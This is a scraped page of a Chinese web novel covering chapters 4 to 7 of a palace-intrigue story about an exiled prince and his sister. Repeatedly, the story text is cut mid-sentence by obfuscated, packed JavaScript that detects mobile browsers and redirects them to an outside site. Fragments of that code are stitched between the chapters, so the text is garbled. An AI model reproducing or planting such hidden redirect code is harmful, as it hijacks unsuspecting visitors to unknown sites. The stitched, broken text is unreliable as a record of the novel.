;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526449|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声无息地穿梭在这典雅精美的院落中，从前跟着兄长，她来过罗宅两回，不多，但足以叫她记住里头的全部布局。 她也注意到，这府中多了许多乍一看就是从外头新进来的人。 因此，江乔并未引人注意，畅通无阻地到了罗慧娘的院子。 不同往常的热闹，也不同于院子外边的乱哄哄，这个小巧而处处显露出奢华的象牙塔，却是一片全然的死寂。 她想悄悄溜进去，但又怕打草惊蛇，还没进屋子，就闻到一股极重的草药味。 按罗慧娘的性子，绝不会有小丫鬟为了自己的一点病，大张旗鼓的在这个院子里煮药。 江乔明确了，那罗慧娘真没死干净，叫她苟延残喘回了一条命来。 这是最坏的局面。 她缓缓握住了拳，她这幅模样，客人不像客人，贼不像贼，也当不了雷厉风行的杀手，顶多是一个不成体统的无常，时时刻刻等待收了罗慧娘，可罗家上下，都急急忙忙在抢回她的命，同她作对。 但江乔并不怕，一来，罗慧娘未必能那么快醒来，指认她，而猎场那儿，本就是乱哄哄一片，她又刻意留心检查过，能确保万无一失的。 二则，就算罗慧娘回光返照，忽而转醒，将她行凶一事告之了众人，罗太守也不能立即逮捕她。 她并不是孤身一人，顾忌兄长的存在，他们必然要到官府获取文书，才能将她缉拿归案，而中间一来一回，足够她做许多事。 江乔往角落里靠了靠，因一时半会不知院子里头有几人在，打算先在外头，静观其变。 就此时，起了一阵窃窃的交谈声。 江乔听出了这声音，不是来自旁人，正是罗慧娘的亲生父母。 “一定是江乔那丫头干的，平日就觉得她阴森森的，果然不怀好心！那日和慧娘一同出去的，只有她和周家那姑娘。” “口说无凭，口说无凭！你的人也去猎场上找过，有找到什么证据吗？” 传来女人的哭咽声，又道：“那怎么办？我的慧娘还躺在那儿，不知道能不能醒来。真是苦命……不是说，那江白江乔二人，来历不明吗？” 罗太守严声呵斥，“你一个妇道人家，莫要管这么多……况且，江家兄妹二人，我也怀疑着，尤其是那个江白。” 怀疑什么？ 兄长名字一出，她就像那受惊的兔子，立起来了两只耳朵。 “你当真要掺和进去？” “我本是前朝的臣子，此事若脱不干净关系，来日有灭门之祸的就是你我！” “当真如此严峻……” “你莫要再问了。” 前朝，灭门…… 种种紧要的字眼，接连的出现，个个砸在江乔的心弦上，她小心挪动着身子，想探出去，听得更仔细一些。 这是走绳索般的险，江乔顾不上那么多，只能提着一颗心，吊起一颗胆。 可惜，这夫妻二人只顾着自己发泄，一个哭，一个叹，说不出更多有用的话。 见他们又要回罗慧娘的屋里离去，江乔又定了定心思，站稳了身，眼前渐渐模糊了，原来是冷汗挂在了睫毛上。 她很在意罗太守语焉不详的那些话。 多半有关她与兄长的身世。 江乔重重呼出一口气，只是，这颗心并未安定多少。 她对罗慧娘动手的事，尚且可以放在一旁。 若真是她们兄妹二人身份的事被发现，才真是灭顶之灾。 江乔思索再三，还是决定冒着危险，亲自去罗太守的书房瞧瞧。 实在是这个时机太好，全府上下乱成一团了，没人会注意她。 江乔带着侥幸心，快步往书房方向去，未曾想，迎面就碰到了一人。 那人恰好从罗太守的书房走出来。 “兄长——”江乔小声惊呼。 下一刻，唇就被一张微凉干燥的大手捂住。 她诧异地眨着那双大眼睛。 当真是，她每每做坏事，都要被兄长抓个正着。 但看此情此景…… 他也不是全然无辜。 4. 亵渎 江潮生人长得高挑，手也大，纤细五指轻松拢住了她大半张脸蛋，俯身在江乔耳边道：“莫要出声。” 江乔点点头，示意配合，可兄长并未就此放开手，依旧严严实实捂着她的嘴。 像是不放心她。 见了江潮生，江乔又变成了一个半大孩子，刻意眨巴着眼，用长长的睫毛去扫他手指。 “别闹。”江潮生压低声。 江乔玩弄心思更甚，知道他皮薄肉嫩，是个怕痒的，悄悄探出唇尖，轻轻刮过他的掌心。 江潮生微不可闻一颤，眸光中带了一点难以言说的无奈和有意压制的躁，“别闹。” 话音落，他便放下了手，转而去牵她。 江乔倒是没察觉什么，只“呸呸”两声，江潮生天性好洁，又是冰肌玉骨似的人物，洁白的手心自然是干干净净的。 她怀疑，自己是舔到了墨，嘟嘟囔囔，“怎么是苦的！” 童言无忌。 江潮生抬起另一只手轻轻拍了拍她脑袋，等江乔小鸡啄米似得被迫点了头，乖巧安静了下来，才拉着她，重新进了罗太守的书房中。 一关门，江乔就叽叽喳喳开了口：“那罗太守有问题。” 江潮生径直走到书桌旁，“我知道。” 江乔继而把方才偷听到的内容，都告诉了他，瞧江潮生面容平静，是真有所准备的，她便习以为常的，彻底地放下心来。 又问：“兄长，你也是偷摸溜进来的？” 她四处张望着，这一家之主的书房，尤其是官宦之家，必然放着一些要紧的文书和信件，是不亚于库房的要地。 她本来打算扮做丫鬟溜进来，就算被人发现了，也能及时逃脱。 对于罗府上下，她是生面孔，而江潮生却算是“贵客”。 “当然不是。”江潮生一眼就能瞧出她的念头，从容地戳破了她的调侃心思，“罗太守是邀请我来议事的。” 言下之意，只有她是偷偷摸摸进来，万一被发现，要被当贼的。 江乔乐呵呵地笑着，不以为然，紧接着就凑到兄长身边，跟着一块瞧。 江潮生见她认真，也将纸张递过去一半，且放慢了翻阅的速度。 先前几份文书，是一些鸡毛蒜皮的小事，写得文绉绉的。 江乔潦草地看了一半，只觉眼花缭乱，脑子发胀，到后来，她视线依旧停留在纸张上，神思早飞了出去。 一开始，心里头还是像煮沸的水般，冒着一个又一个的阴谋。 后来，不知不觉的，江乔想到的诡计变成了罗慧娘当日所说那个。 她们想要同兄长做男欢女爱的事。 兄长吗？ 江乔挪动眸子，感觉魂魄出了窍，成了第二个她，也能公正地瞧瞧兄长的模样。 江潮生长得好，她早知道，人人见了他们兄妹二人，都会夸一句的。 可一张脸蛋看了十几年，总要看平庸。 但今日忽的再一瞧，她大吃一惊。 既是惊讶于罗慧娘这个空长了身子，但没头没脑的家伙，竟也想得出如此大胆狠毒的计划，也惊讶于发现自己的兄长，是一个能被吃下去的香饽饽。 那就不完全是坑害。 而是要亵渎。 江乔出神太久。 江潮生又忍不住叹气，“傻丫头，认真点。” 她总一团孩子气，叫他不放心。 江乔连着“噢噢”两声，又扯过一纸文书瞧，可这些字就浮在眼前，钻不进脑子里去。 她干脆放下。 “在想什么？”江潮生问。 江乔摇摇头，不知为何，就是不想说。 江潮生阅览文字速度极快，所以当他捏着几份纸张，久久不放下时，江乔便察觉到了奇怪，再次凑上去，探出身子瞧，第一眼就看见了关键所在。 耳听不一定为虚，眼见大概率为实。 她愣住。 再次回过神来，唇在颤，是气得，也有许多的怕。 这些消息，不是一时半会能收集齐全的。 可一直以来，罗太守对江潮生，都是极其看重、爱护的姿态，几乎是将他当做了子侄。 所以，这是长年累月的恶意。 而她，是长年累月的无知。 江潮生立即将她揽到了怀中，将她的脑袋压在了胸口，不叫她继续看。 “兄长，他发现了……还有谁知道？他告诉了谁？”江乔整个人都在颤，“他会把我们分开关押吗？” “不会的，不会的，滟滟，有兄长在。”江潮生轻声哄，目光垂下，仍在一字一句得看着那张纸。 自大周被灭国，已过去了整整十年。 十年的春秋，足以叫这片土地上的大部分百姓，都忘记曾经皇族姜氏。 而十年的岁月，也让江潮生出落成另一副模样。 如今，他不再是前朝的十七皇子。 只是最寻常的布衣书生。 只未曾想到，他们小心行走这么多年，会险些在江州，出了差错。 江潮生一手缓缓探入江乔的发中，将她更紧密地按在自己怀中，一手将那纸书信，渐渐地捏成了一团。 其实是情有可原。 作为江州这偏远之地的望族，罗家在十多年前，靠着谨小慎微，成功躲过了大梁皇室的清算，是为数不多，幸存下来的前朝世家。 大梁的罗太守，也曾是大周的官员。 又恰好在多年前，进宫面圣过，见过那位荒唐无度的，大周末帝的容颜。 江潮生自幼聪慧，更不敢忘记父皇母妃的容颜。 清楚自己，与父皇，该是有三分相似。 或许，正是这三分的相似，叫罗太守起了疑心。 江潮生垂下眼眸，将思绪理清楚。 江乔仰起头，双眸还带着水光：“兄长，杀了他吧。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526450|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滟滟，莫怕。” 怕吗？不完全。更多是厌恶。 江乔不能忍受，所有能威胁到兄长和她的人或事。 而事在人为。 本质上，能拆散她和兄长的，只有一个个活生生的人。 江乔记得，那是八年前，她七岁的时候。 那年，距离大周灭国，只过去了两年不到。 各地还有许多豪强、诸侯王，都未被剿灭，其中不少人，还有着复国的念头。 而复国，不止要兵马钱财，更需要一点正统的道义名号。 长安城被屠城的时候，皇室嫡系都被诛杀。 唯有她和兄长逃了出来。 据说，是因为母妃和殿中宫人，都殊死护着他们。 她和兄长二人，混在难民群中流浪了近两年，都未想到，自己还有一点被利用的价值。 那是一位也姓姜的王爷，只已出了三代，与他们只从前宫宴上见过一面，并无多少情谊。 江乔和兄长被绑去。 她被关在一个不大的屋子中，有人送吃送喝，但也只限于吃喝，无人和她搭话，自然也没有人告诉她，关于江潮生的消息。 她被迫和兄长分离了整整半年。 她怕，是兄长不要她。 更怕，兄长被抓回去，也掉了脑袋。 就在她快要绝望死的时候，兄长找到了她。 江乔记得，自己就是在那时发誓的——她这一辈子，都不要再和兄长再分开。 绝对，绝对。 有谁想要分开他们二人，她就一定会杀了他。 江乔红了一双眼。 “滟滟，滟滟……” “我们先离开。” 江潮生的声音，如炎炎夏日的一场细雨，浇灭了她的怒火中烧，江乔恍惚了一瞬，垂下眼眸，不言不语，任凭兄长牵着自己的手，避开了杂乱的人群，离开了罗府。 江乔注视着脚下。 她知道自己的冒进和乖张，也知道，兄长向来教导她，希望她，能够忍耐。 可惜，她学了十年，也只学到了一点皮毛。 江乔并不后悔方才直白的话，在兄长面前，她本就是无需伪装的。 她快速思索着，眼前瞬间闪过几个名字，都是和罗太守不对付的官员，有一个大胆而冒险的计划在心里萌生。 就这时，江潮生望向了她，“滟滟。” “嗯？” “会一直相信兄长吗？” 江乔抬起头，因心中的思绪被打乱，眼中露出微微的茫然之色。 “当然。” 没有什么好犹豫的。 江潮生微微一笑。 恰是此时，有一列官兵带着刀，神色严肃，从他们身边经过。 而二人身后所在，正是罗府。 远方，夕阳西下，余晖映满天际。 江潮生望向天际，垂眸又笑，“我们回去吧。” 5. 夫妻 江乔是到了家中，才从兄长口中得知一切的。 原来这一年，他们的日子看似是驶入了正轨，实际上，只是由江潮生一人担起了重任和危机。 罗太守对他的赏识，并不是无缘无故出现的。 他要一人，能为他做一些见不得光的事，谋财害命的，无法无天的，提心吊胆的……这些事必须由一位既聪慧能干又不得不依附于罗家的人去办。 而江潮生，恰好是这样一人。 大抵是因为命运多舛，身子又不好，所以老天补偿，叫他大智近妖。 又因无父无母，无钱无权，身边只有一个挂坠似的江乔，让他只能唯命是从。 可罗太守忽略了江乔的狠辣，也低估了江潮生的才智。 他将这兄妹二人，当做了趁手的物件，正志得意满，以为一切尽在掌握之中，并不知江乔正谋算着其女的性命，更猜不到，早他疑心一步，江潮生已将他所有徇私枉法的证据，送往了长安城。 长安城处，他所有的苦心经营，所有的名声，都寻不到用武之地。 甚至，连风吹草动，都是后知后觉的——因为直到如今，他最能干的心腹还是江潮生。 “所以，今日罗府里头这么乱，是准备齐家逃走？”江乔随口问。 “齐家？”江潮生轻描淡写，“他是离不开的，大概是想，让家中女眷早早离去，以免了牢狱之灾。” 只是晚了一步。 江潮生笑：“滟滟，是你的功劳。” 罗慧娘的意外，出乎所有人的计划，也打乱了所有人的计划。 江乔不觉得自己有功，心中是五味杂陈的，轻声道：“下次不许瞒着我。”抬起一双黑色的眼睛，认认真真说，“什么事都不能瞒着我。” 她是最胆大妄为的人，所有的怕，都和这位风一吹就要散了似的兄长挂了钩。 “滟滟……” 有些事，不让她知晓，是护着她。 但江乔，不需要人呵护。 “真有一日，兄长出了事，我又如何能苟且？我会救你。救不了你，就陪着你……” 那个字，在江潮生忽冷的目光下，被她咽了回去。 “不能胡说。”他道。 江乔不吭声。 “滟滟，过来。” 她过去。 江潮生低下头，额头碰着额头，目光注视着目光，江乔于他，像是茫茫雪夜中的火光，因自身是行于冰天雪地的孤魂，要时时依存她，又刻刻提着心，捧着她的手，轻不得重不得，怕她熄，怕她离去。 “滟滟……”一声喟叹。 “嗯。”江乔的胳膊环在他脖颈上。 二人就靠在一处。 他的一呼一吸，都是清而浅的。 她的每一下心跳，都是有力明晰的。 江乔莫名其妙委屈，真是莫名其妙的，她别开眼，不想叫自己落眼泪，还让兄长看到。 “孩子气。” 江乔：“不小了，明年要及笄了。” “那也只是一个大孩子。” “兄长。”江乔抓住他的衣袖，还是坚持，“无论如何，只要是与你相关的事，我都应该知道的。” 江潮生望着那双眼眸，所有的算计，所有的自持都无用了，在教导江乔一事上，他又一次束手无策，顺从，“好，下一次，必然不会再这样。” 江州的数位官员，都在一夕之间下马了。 抄家的抄家，斩首的斩首。 就在这动荡之际，江家兄妹二人到了长安城。 长安城是有史以来的天下中心，帝王居所，听说遍地是达官贵人，朱雀大街上掉一片瓦下来，就能养活一条街的棺材铺。 入长安城第一日，兄长要去丞相府内的十三曹述职。 载着江乔的马车，摇摇晃晃经过了朱雀大街，驶向了南巷子口。 兄妹二人所租的院子，正在此处，一进的院落，有一间正房，两间耳房，外有两处小隔间。 正儿八经签过租赁契约，有牙人签字，他们要按月交租，只要交了租，就能安心住下。 再也不是寄人篱下。 江乔翘起的唇，一路都没放下。 江乔自南巷子口下了马车，打算亲自走最后一段路，这是今后的家，她想早点熟悉。 这一路上，她听了不少京城中的事。 左相倒台了，右相……以后不用专门加这个“右”字，因短期之内，就尹相一位丞相。 人人议论纷纷。 江乔听着，不搭话，不插嘴。 可她心里，对这桩近日的，长安城内的头等大事，是了如指掌的。 因为她有个厉害的兄长，而兄长将这些都告诉了她。 江潮生今日要去述职的十三曹，就是尹相手下的班底，是正正经经的官职，可以领朝廷的俸禄。 他的同僚，江乔都一一听过、认过，都是一群开始蓄胡的老头子。 兄长能年纪轻轻，成为丞相的心腹，正是因为在扳倒左相的案子里头，出了关键力气。 再往前，人群聚集。 江乔没有挤进去看，就站在人群外边，远远地望了一眼。 一对男女，或许是夫妻，或许是兄妹，在耍杂耍。 中间系起了长长的绳索，比拇指还细。 一人伸长双臂，稳稳当当地在绳索上行走，一人捧着破碗，卖力大声地在地上吆喝。 江乔探出手，往那破碗里头，放下几个铜子，就转身离开了。 面上笑意不减。 忘记是哪年哪月，也不记得是哪处地，她和兄长还在流浪，也碰上过一个杂耍班子。 老班主见他们可怜，说要收他们为徒，自此，虽不一定衣食无忧，但能自食其力。 胸口碎大石，耍枪，走绳索…… 和他们同龄的孩子们，在院子里，一脸专注。 老班主的面容记不清了，只记得是深深眼窝，黑亮眼眸，一眼望来，仿佛看穿他们在辗转多年中，隐藏的往事。 他还说，在这绳索上求生的活计，看上去惊险，却是实打实的本事。 她不知所以然，捏着兄长的衣袖。 后来的对话，也忘了，毕竟那时年岁太小。 江乔如今回忆，只觉庆幸。 她扬着笑。 若当真成了杂耍的艺人，或许终其一生，她都无法真正回到长安城，拥有一处和兄长共同的家。 江乔兜兜转转，四处都去瞧了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526451|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，没细看，大概留了一个映象，打算等来日和兄长一起再仔细逛逛。 她绕到了家门口。 掏出钥匙，准备开锁。 这时候，旁边那户人家冒出一个婶子，惊讶地问：“还是第一次看到这户人家来客人呢。” 江乔心头的雀跃还未歇下，且她是打算认真经营邻里关系的，认真答：“不是客人，是这家的主人。” 那婶子一脸惊讶。 江乔淡了笑意，侧过头，“怎么了吗？” 婶子摇摇头，不想多事，正打算关门的时候，江乔再次追问：“有什么事？” 声音是极淡极冷的一条线。 面上却又有了笑意。 只这个笑，是笼罩在木檐阴影里头的笑，见不得光，自然瞧不见丝毫的明媚之意。 那婶子心一跳，以为是自己大白天撞到了鬼，只好强颜欢笑：“是……这家男人，的确好福气，不过不怎么着家。” 江乔蹙眉，确定自己未找错地方，钥匙也能转动锁。 而兄长租赁的也是单独整套的院子，并不是同旁人挤在一块。 事说出来后，许多话就是断了线的珠子，成串落下，那婶子好奇心作祟，“不过你家男人，长得那是一个标志……这屋里头那个，是你‘姐姐’还是‘妹妹’？” 寻常人见了年轻的男女凑在一块，想到的就是那档子的事，鲜少有意外。 江乔不理，继续转着钥匙，不知为何，锁始终牢牢关闭着，打不开，也撬不开，于是，心底慢腾腾烧起了火，两条细长秀气的眉拧得更紧。 那婶子不断用余光瞟着，瞧江乔这幅任性稚气的姿态，不像是个正经娶回来，能操持家业的，那就是养在外头的？ 养在外头的，能这样光明正大领回家里头？ 但这些话，只能先藏在心底，等到了时机，再跟别家娘子说。 “你别急了，这家的人刚刚出去买菜，估摸着再一会，就能回来了。” “要不先去我家里头坐坐？” 她说着，见江乔总是不应，自讨没趣，也不说了。 江乔不是听不懂这婶子的言外之音。 只一时之间，懒得解释。 她用力撬着钥匙，后来发现，是转错了方向。 门开了。 里头是一个干净整洁的院子，并无人在。 那婶子不知在何时，溜到了院子门外，又开始絮絮叨叨问话。 江乔冷了脸色，也不想维护什么邻里关系了，打算请她离开。 这时，又一人出现了。 “呦，姝娘？” “赵婶，你怎么在这儿呢？” “你家来人了，快去瞧瞧。” “我家里？” 院子一侧的晾衣杆上，挂着鸭蛋青的外衫，一看，就是女子所穿的样式，江乔一点点挪着步子，转过身来。 这是一个眸子澄澈，身子高挑丰满的丫头，哪怕荆钗布衣，也看得出是个美人坯子。 更难得的，是一看就知道的，好脾气，好相处。 简而概之。 是个同江乔截然不同的姑娘。 她和江潮生差不多的年纪，怪不得，会被外人认成一对年轻的恩爱小夫妻。 6. 特殊 姝娘解释了这一场误会，又好声好气地送走了这位不一定有多热心肠，但一定好事的街坊。 这位赵家婶子走的时候，一脸笑，还说要将家中灶台上烧的肉，给她们送来一碗。 再晚一些时候，大黄也被送到了新家中。 长途的奔波叫它饥肠辘辘，姝娘从篮子里头拿了一些碎肉出来喂它。 这小畜生不带犹豫地认下了这新主人，摇着尾巴，绕着她的腿转。 江乔冷眼旁观着，心里又是烧起了一炉火。 进长安城前，江潮生是同她说过，家中请了一个丫鬟，算是她的人。 从今往后，她走出门去，人家也要尊称一声“江小姐”，没个丫鬟撑排场，是万万不行的。 当时的江乔，一口应下。 但她没想到，是这样一个姑娘！ 可以再老些。 也可以再小些。 绝不该是这个年纪。 江乔眸子一动不动，却已将姝娘由上至下都打量了几遍，可惜眸光锋利却无形，不能把她的皮剥开，再从里到外翻一遭，看看到底有几根花花肠子。 经了罗慧娘一事后，她很清楚，自家兄长到底是怎样一块肥肉，人人都想吃，一口咬下去，还不塞牙。 姝娘却是个心大的，亮着一双眼，细细地盯着江乔瞧，觉得她不像自己从前伺候过的那些贵小姐，而像那些小姐房中的瓷娃娃。 不等她继续瞧，江乔霍然从位置上起了身，问：“你叫什么名字？” “姝娘。” “有姓吗？” “没有。” “今年几岁？” “十七。” “从前在哪儿做活？” “庄丞相府中……” 姝娘意识到，旧日主子早倒台了，正要急急忙忙改口，就听江乔抛出了下一个问，“你家中的人呢？” “小时候家中父母就死了，一直在各处做工。” 她继续认真答，这样的规矩，从前被卖到左相府上时，也经历过一遭，姝娘不带怕的。 江乔端着小姐架子，花了半个时辰，就将姝娘的底细问了个明明白白。 姝娘还稳稳当当站在那儿，江乔却忍不住跌回椅子上。 双腿泛酸，口干舌燥，心浮气躁。 “小姐……润润嗓子？” 她话还未说完，便手疾眼快，倒了一杯水，递到了江乔面前。 江乔飞快看姝娘一眼，其实是犹豫了一会的，但料她绝无这下毒害人的胆子，才接过茶盏，低着脑袋，杯子倾了丁点，水面斜过来，就刚刚湿了唇的程度。 水带着微微的甜味，该是掺了蜜。 她又小小抿了一口。 姝娘想到巷子外边的猫儿。 不过猫儿舔水，要比她快一些。 姝娘忍俊不禁。 江乔立即扬起了脑袋。 姝娘忙找补：“小姐，你还要问什么吗？” 其实这些东西，她早从兄长那边听过一回，再问一遍…… 江乔微不可闻冷哼一声，认为她，要么是太老实了，要么就是狡猾得过了头。 江乔还是觉得，家中不该留着姝娘。 无论她是真老实，还是假老实。 江潮生一结束公务回到家中，江乔就黏上去，也不废话：“我觉得，她不合适。” 江潮生意外。 姝娘手脚麻利，办事认真，最难得的，便是一颗赤子之心。 正如一山不容二虎，江乔这样机灵的人，身边容不下有太多心思的人。 他想了一圈，也未想到江乔会厌恶姝娘的理由。 无需他问，江乔就将编好的理由说了出口：“家中并不富裕，这长安城的房子又贵得很，没必要再请一个人伺候。” 江潮生笑着摇头：“我不一定日日有时间回到家中，她可以照料你的起居。” 江乔：“我不需要。” 江潮生继续含笑看她。 江乔抿唇。 她厨艺不佳，绣术不精，只要兄长在，家中做饭、补衣等琐碎事，都是由他亲自上手，江乔反而帮不上什么忙，这是事实，她承认。 但不代表，非要姝娘。 江乔：“我去找人牙子，另外寻一个。” 江潮生：“不妥，别处寻来的人，不知底细。” 江乔又道：“我亲自去寻人，问过底细呢？” 江潮生平心静气：“长安城不比江州，城内人家自持贵重，不会无缘无故签了身契，城外或许有卖妻鬻子的，但城关戒备森严，不会随意放这类人入城长住。” 见招招句句都被兄长化解了去，江乔大有耍无赖的念头，可对上兄长那双淡色眼眸，她就不愿再扮出泼皮无赖的孩子样。 她不喜，兄长说她孩子气。 “到底出了何事？” 说到底，是姝娘心思纯正，未被江乔轻易寻见把柄，才让她如此束手无策。 江乔抬眼又垂眸，嘴角紧绷又松开，她想实话实说，可……这样的理由，实在太荒唐。 显得她刻薄。 虽然，她的确不大方。 就这时，未被掩紧的院子门又被完全推开。 姝娘挎着一个菜篮子，快步走进，一边埋着头不看他们，一边说：“我去做饭。” 都不用猜。 只瞧她那副欲盖弥彰的模样，必然是将江乔的话，全部听到了耳中。 “她不会知难而退的，滟滟。”江潮生轻语，“同她好好相处。” 江乔别过脑袋，“她也没这么聪明。” 那门是她有意留的，这时机是她特意寻的，她不会做一哭二闹三上吊的把戏，只会悄无声息地叫姝娘陷入死局。 一旦她露了破绽，江乔会毫不犹豫地抓住。 可预想中的发飙和忍耐，江乔都没有在姝娘身上看见。 这夜，江潮生值守，未回家中，只有江乔和姝娘二人围着一张桌子，安静无声地用完了饭。 收拾完桌子后，姝娘叫住了江乔，缓缓站到了她面前，垂着头，双手放在身前，不断绞着指。 “小姐！我是有哪里做的不好吗？”沉默后，她大声问。 江乔吃惊于她的直白。 其实，姝娘并无多少的才艺本事。 从前她在左相府邸中，也不过是一个打杂的角色。 但凭心而论，在这个家中，少爷不像少爷，小姐不像小姐，自然不能要求丫鬟就有个十足丫鬟样。 正如在江潮生面前，江乔找不到一个恰当的由头遣散她。 轮到姝娘亲自询问时，她也挑不到这鸡蛋里的骨头。 院子里很静。 夜色也浓郁。 足以叫江乔卸下全部的伪装，她问，“你认为兄长如何？” 话题跳得太突然，姝娘意外，但老实答：“公子是一个好人。” 当初左相获罪，全府女眷落入牢狱。 他们这些当奴仆的，更被牵连，面临流放。 这时，是江潮生出面，替他们求情。 若无他，姝娘恐怕会死在流放途中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她梦游似的，被江乔“解决”了。 一墙之隔，江潮生半身沐浴在月光之下，待脚步声渐渐远了，他垂下头，微微一笑，并不急着回家中。 他今晚值班，原是想请小厮为他跑一趟，取换洗的衣物。 但思量到夜深人静，唯恐面生的外人惊了二人。 他便亲自来走一趟。 原来，滟滟想的是这件事。 从前二人流浪在外，也常常听闻那些家长里短的事。 宠爱子女的父亲在新娶了继母后，把儿女锁在柴房，任凭他们自生自灭。 一向温和的兄长有了新嫂，将妹妹逐出家门，不管不问。 其实，世人大多不是虚情假意，而是无情无义，见风使舵。 正如从前，他见过的许多人。 江潮生垂眸，他的手放到了月光下，是几乎能透光发亮的惨白。 正是这双手，曾被江乔牵着，熬过漫长黑夜，躲过乱箭流矢，走过千山万水。 江潮生微笑，清楚自己不过是寻常人。 漠然无情，随波逐流。 特殊的，是江乔，也唯有江乔。 7. 蠢事 江乔明确了，姝娘是一个实实在在的绣花枕头，中看不中用，若扔到外头去，只有被人撕咬、抓烂的可能。 不过，即使如此，她也不肯放着姝娘，到江潮生面前溜达。 兄长那么好。 万一哪一日，姝娘就开窍识货了，她会崩溃！ 江乔决定，要继续哄着这傻丫头，直到将她主动走人。 “小姐小姐！你收拾好了吗？” 姝娘说着，就闯进了她的屋子。 江乔坐在铜镜前，眼下泛着一点青色，显得面色更加惨白，身上衣服是换好了，但头发还没打理过，淡黄色的，微微卷起的，就随意地铺开。 姝娘走上前，拿过木梳子，熟练地开始整理她那一头乱发，嘴上还碎碎念念，“家里的米缸见了底，要出去买个几斗来，叫他们早点送过来……” “听说花容坊出了新的胭脂膏子，临江阁的姑娘们都争着抢着去买呢，到时候我们也去瞧瞧……” 她怎么能有这么多话可以说呢？ 江乔不解。 她慢吞吞地伸出手，拿过不远处的口脂膏子，用小拇指勾了一点，往唇上点。 或许是年少的颠沛流离，她和兄长都生了一副病恹恹的模样。 可男子柔弱有柔软的美，且江潮生长得高挑，宽肩长腿，哪怕弱不禁风，也照样是个动人的美人。 但她不行。 江乔微微挪开视线，在铜镜的一角，借余光瞟了姝娘，见她丰腴身躯，纤细腰肢，微不可闻地叹一声气。 她快及笄了，但完完全全是个孩子模样。 她不想只做一个病娃娃，就势必离不开这些漂亮的小物件。 姝娘三两下就为江乔梳好了发，拉着她仔细瞧瞧，恨不得将她抱在怀中，腻乎一阵。 但她记着时辰，也怕江乔生气，就老老实实带她上街去。 长安城毕竟是长安城。 各处都是人，各处都有小贩，热闹喧哗的街道上，马嘶人嚷汇在一块。 而江乔到底是江乔。 乱花渐欲迷人眼，她不解风情。 见姝娘能干，三言两语就能砍价，也不会轻而易举被忽悠，老实人难得透露出一点精明意味，让江乔小小惊喜了片刻，就安心做了甩手掌柜，待在一旁。 姝娘买了糖葫芦，江乔就拿在手上，一口一口舔着吃。 姝娘说要裁新衣服，江乔就乖巧站着，让裁缝娘子给她量尺寸。 一家一家去过，也到了黄昏。 看天色，到了花容坊再次上架新胭脂的时间，姝娘兴致冲冲地拉着江乔挤进人群。 “诶诶诶，我外头等你吧。”江乔强颜欢笑，连声叫停，愈发觉得她是个怪丫头，有花不完的力气。 姝娘看她几眼：“那你在这儿等我，不要乱走，如果有人搭话，莫要理睬。” “好。” “你等我，不要走开，我很快回来的。。” “知道了。” 江乔点点头站在外头等待。 行人自顾自地来来往往，她安安静静站在原地。 长安城有一个好处。 它的热闹，是独自的热闹，有分寸的热闹，绝不会无端地扩散到无需的人上。 江乔喜欢这份分寸感。 大概是过了一炷香的时间，她的耳边传来了喧闹声，是十步之外的巷子里，有一群流氓地痞在闹事。 看架势，是以多欺少。 那群人注意到她，高声：“呵，哪来的小娘子？这是你小情人？” 又拎起皮青脸肿那人，捏着他的脸，扭向江乔那个方向。 换作旁人，会惩恶扬善吗？ 江乔收回视线，继续站在那处，仰起头，看绿叶重叠，余晖成影。 又有了拳打脚踢声。 江乔嫌吵，刚要挪开步子，就听一声暴呵。 “你们在做什么！”姝娘小手一挥，就将江乔直接扯到她身后，怒视那为非作歹的一群人。 那些无赖缓缓停下动作，一双双眼睛都望了过来，显然是意外这女郎的莽撞大胆。 姝娘并不怕，又往前一步，将江乔完全挡在了身后，义正言辞道：“你们敢在闹市打人，不怕捕役吗？” 江乔想仰天长叹。 他们既敢当街闹事，自然是不怕的，况且寻常地痞如何能闯到这街坊里头来？ 长安城管控森严，若非良籍百姓，入不了内城。 显然，这是蓄意的殴打。 该是那书生模样的人，得罪了谁——江乔微微歪着脑袋，对上了那双透彻的眼眸，其实这位书生，有个好模样，哪怕蓬头垢面，也能瞧出五官的秀气。 但和她有何干系？江乔再次若无其事挪开眼。 只有姝娘这个傻丫头，看不清状况。 这时再和她撇清关系，也无人会信。 